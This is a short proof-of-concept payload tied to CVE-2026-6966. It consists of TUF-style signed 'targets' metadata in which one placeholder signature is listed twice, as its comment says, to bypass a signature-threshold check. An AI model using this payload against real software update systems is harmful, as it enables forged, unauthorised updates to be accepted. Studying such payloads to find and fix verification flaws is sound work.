CVE-2026-6966

{ "signed": { "_type": "targets", "version": 1, "expires": "2026-12-31T00:00:00Z", "targets": {} }, "signatures": [ { "keyid": "valid_key_id_1", "sig": "valid_signature_hash_1" }, // Exploit: Duplicating the same signature to bypass the threshold requirement { "keyid": "valid_key_id_1", "sig": "valid_signature_hash_1" } ] }

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